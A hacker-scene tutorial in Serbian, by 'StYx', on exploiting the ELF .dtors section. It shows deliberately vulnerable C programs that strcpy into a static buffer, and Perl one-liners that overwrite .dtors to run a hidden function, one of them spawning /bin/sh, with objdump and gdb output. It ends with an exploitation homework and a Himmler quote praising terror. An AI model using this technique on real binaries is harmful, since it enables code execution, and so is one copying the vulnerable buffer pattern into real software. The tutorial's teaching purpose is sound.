******************************************************************************* * .dtors for fun and no profit ... * * * **************************************[ by StYx(styx@mal.tebank.com.mk) ]****** (0x00) Uvod: ------------- Odlucio sam da napisem ovaj tekst kako bih pomogao drugima da shvate sta je .dtors i kako ga iskoristiti. Ovaj tekst bih zeleo da posvetim BoyScout-u tako da se nadam da ce mu koristiti. Znaci na pocetku treba da naglasim ono uobicajeno sto je ... trebate znati C i da razumete strukture programa koji je pisan u C. Pa ajmo da pocnemo ... (0x01) Teorija: ---------------- Za one koji koriste C t.j. koji programiraju u C , tacnije za Unix programere koji koriste gcc kao kompajler, znaju da nam gcc na raspolaganju daje nekoliko tipova atributa koje mozemo koristiti sa funkcijama, nas interesuju samo constructors i destructors. Ustvari posebno nas interesuju destructors posto constructors bas i nece nam mnogo koristiti. Ova dva atributa se definiraju na sledeci nacin: static void pocetak(void) __attribute__ ((constructor)); static void kraj(void) __attribute__ ((destructor)); Malo da pojasnimo, sve funkcije koje imaju atribut 'constructor' bice izvrseme pre main(), a one sa atributom 'destructor' bice izvrsene odma kad main() zavrsi. Ova dva atributa bice pretstavljena kao dve posebne sekcije u ELF izvrsnoj datoteci, kao .ctors i .dtors. Layout u datoteci bi izgledao ovako: 0xffffffff ... 0x00000000 Slobodno mozemo da zakljucimo da su .ctors i .dtors mapirani u memoriji i da su writable po default-u. Ne interesuje nas dali su deklarirani na pocetnu programa ili uopste ne postoje, .ctors i .dtors se automatski javljaju posle samog kompajliranja programa. Zasto je to tako ??? Pa pri samoj kompajlaciji programa sa gcc, gcc automatski mapira ova dva atributa u memoriji, tako da nije vazno dali oni postoje ili ne ... (0x02) Praksa: ---------------- Pa ajde da dokazemo da je tacno to sto smo dosad teoretski objasnili. Da shvatite za sta smo pricali kompajlirajte i pokrenite sledeci program : ------------------------------------------------------------------ #include #include static void pocetak(void) __attribute__ ((constructor)); static void kraj(void) __attribute__ ((destructor)); void pocetak(void) { printf("Ovo je samo pocetak\n"); } void kraj(void) { printf("In the end it doesn't even matter\n"); } int main(int argc, char **argv) { printf("pocetak = %p\n",pocetak); printf("kraj = %p\n", kraj); } -------------------------------------------------------------------- [styx@titan dtors]$ gcc -Wall -o pr1 pr1.c [styx@titan dtors]$ ./pr1 Ovo je samo pocetak pocetak = 0x80483e4 kraj = 0x8048400 In the end it doesn't even matter [styx@titan dtors]$ objdump -h pr1 14 .data 0000000c 0804951c 0804951c 0000051c 2**2 CONTENTS, ALLOC, LOAD, DATA 15 .eh_frame 00000004 08049528 08049528 00000528 2**2 CONTENTS, ALLOC, LOAD, DATA 16 .ctors 0000000c 0804952c 0804952c 0000052c 2**2 CONTENTS, ALLOC, LOAD, DATA 17 .dtors 0000000c 08049538 08049538 00000538 2**2 CONTENTS, ALLOC, LOAD, DATA 18 .got 00000020 08049544 08049544 00000544 2**2 CONTENTS, ALLOC, LOAD, DATA Kako sto vidite, .ctors i .dtors su mapirani u memoriji, .ctors se izvrsio pre main(), a .dtors posle main(). Ok, od sad pa na dalje na .ctors ne interesuje zato sto nemamo nikakve koristi od njega posto se izvrsava pred main(). Posebno nas interesuje .dtors. [styx@titan dtors]$ objdump -s -j .dtors pr1 pr1: file format elf32-i386 Contents of section .dtors: 8049538 ffffffff 00840408 00000000 ............ Adresa funkcije kraj() je sacuvama u .dtors, zato nas tolko i .dtors interesuje, posto ce nam pomoci da explojtamo program. U ovom primeru nam je destructor bio deklariran, ajde da vidimo sta ce se desiti ako destructor nije definiran. ----------------------------------------------------------------- #include int main() { printf("Hello World!\n"); } ------------------------------------------------------------------- [styx@titan dtors]$ gcc -Wall -o pr2 pr2.c [styx@titan dtors]$ ./hello Hello world! [styx@titan dtors]$ objdump -h hello . . . . . 17 .dtors 00000008 08049480 08049480 00000480 2**2 CONTENTS, ALLOC, LOAD, DATA . . . Cudno a ? Nismo imali funkciju kojoj smo dali atribut destruktora a ipak se destruktor nalazi mapiran u memoriji. Pogledamo sledeci primer: -------------------------------------------------------------------- #include #include static void get_me(void); void get_me(void) { printf("you got me !!!\n"); } int main(int argc, char **argv) { static u_char buf[]="get_me"; strcpy(buf,argv[1]); exit(EXIT_SUCCESS); } -------------------------------------------------------------------- [styx@titan dtors]$ gcc -Wall -o pr3 pr3.c [styx@titan dtors]$ objdump -h pr3 . . . 17 .dtors 00000008 08049574 08049574 00000574 2**2 CONTENTS, ALLOC, LOAD, DATA . . . Ok,.dtors je tu, iako opet nemamo funkcije deklarirane kako destructor on je opet tu. [styx@titan dtors]$ objdump -s -j .dtors pr3 pr3: file format elf32-i386 Contents of section .dtors: 8049574 ffffffff 00000000 ........ Kako sto vidimo, izgled .dtors-a je default, znaci nema nikakve adrese od neke funkcije. Ovo nam omogucuje da pisemo po .data sekciji, sto je stvarno vrlo blizu do .dtors, to nam omogucuje da lako stignemo do naseg cilja. Nas cilj je da pozovemo kod koji se nalazi u get_me(), koji kod se nikad ne izvrsava pod ovim (normalnim) uslovima. Znaci mi treba da napravimo da 0x00000000 koji se nalazi na kraju .dtors-a da pokazuje na get_me(). Da to uradimo moramo prepisati 0x00000000 tako da pokazuje na get_me(). Ajde da to uradimo: [styx@titan dtors]$ objdump --syms pr3 | egrep 'text.*get_me' 08048460 l F .text 0000001a get_me Adresa get_me() je 0x08048460, pa ajde da sad prepisemo 0x00000000 u .dtors-u. [styx@titan dtors]$ ./pr3 `perl -e 'print "X" x 24; print "\x60\x84\x04\x08;"'` you got me !!! Segmentation fault (core dumped) Uspeli smo da prepisemo 0x00000000. Ajde da vidimo sad sta kaze core. [styx@titan dtors]$ gdb ./pr3 core GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-mandrake-linux"... Core was generated by `./pr3 XXXXXXXXXXXXXXXXXXXXXXXX`;'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x804003b in ?? () (gdb) bt #0 0x804003b in ?? () #1 0x804852d in _fini () #2 0x400417a5 in exit () from /lib/libc.so.6 #3 0x80484c8 in main () #4 0x40038cbe in __libc_start_main () from /lib/libc.so.6 (gdb) maintenance info sectionE . . . 0x08049574->0x0804957c at 0x00000574: .dtors ALLOC LOAD DATA HAS_CONTENTS . . . (gdb) x/x 0x08049574 0x8049574 <__DTOR_LIST__>: 0x58585858 Znaci eto ga, prepisali smo ono 0x00000000. Znaci uspeli smo da explojtujemo program. Stavili smo adresu od get_me() na pravo mesto i uspeli smo da taj kod bude izvrsen. Ajde da probamo to isto sa malo ozbiljnijim primerom da vam to bude malo jasnije. Modificiracemo malo primer 3 : ---------------------------------------------------------------------- #include #include #include static void get_me(void); void get_me(void) { printf("you got me !!!\n"); execl("/bin/sh","sh",0); } int main(int argc, char **argv) { static u_char buf[]="get_me"; strcpy(buf,argv[1]); exit(EXIT_SUCCESS); } ---------------------------------------------------------------------- [styx@titan dtors]$ gcc -Wall -o pr4 pr4.c [styx@titan dtors]$ objdump -s -j .dtors pr4 pr4: file format elf32-i386 Contents of section .dtors: 80495c0 ffffffff 00000000 ........ [styx@titan dtors]$ objdump --syms pr4 | egrep 'text.*get_me' 08048490 l F .text 00000031 get_me [styx@titan dtors]$ ./pr4 `perl -e 'print "X" x 24; print "\x90\x84\x04\x08;"'` you got me !!! sh-2.03$ Nadam se da vam je do ovde jasno ? Ako vam nije jasno onda procitajte jos jednom :> (0x03) Domaci : -------------------- Pa stigli smo i do samog kraja. Dacu vam domaci zadatak pa ko oce da se igra slobodno neka proba da explojtuje sledeci program: ---------------------------------------------------------------------- #include #include #include static void sploit_me(void); void sploit_me(void) { printf("I bow down to you master !!!\n"); } int main(int argc, char **argv) { static u_char buf[256]="sploit_me"; if (argc < 2) exit(EXIT_FAILURE); strcpy(buf,argv[1]); exit(EXIT_SUCCESS); } ---------------------------------------------------------------------- (0x04) Closing words: -------------------------- Pa evo ga i kraj nadam se da ste nesto naucili od ovog kratkog teksta. Razume se da jos ostaje da pozdravim jednu veliku listi ljudi ali probacu da budem kratak, tako da kome se cita slobodno nek izvoli. Pozdravi idu do atko, jstr, cvele, slash, boyscout, zex, fr1c, netzero, paradox, fi, the1, downbload, psx-one, predator, p4triot, ceo www.active-security.org (net0 produzite sa dobrim radom i cekam novi page ), www.elitesecurity.org ("Art of Exploatation") , www.phreakcore.org celi #hr.hackers. To bi bilo to koga sam zaboravio stvarno mi je zao sledeci cu put probati da ne zaboravim :> Nadam se da se iduce godini vidimo u Zagrebu na info, posto i ja ocu da se slikam :> Dedicated to BoyScout !!! StYx styx@mal.tebank.com.mk / styx@active-security.org "The best political weapon is the weapon of terror. Cruelty commands respect. Men may hate us. But, we don't ask for their love; only for their fear." - Heinrich Himler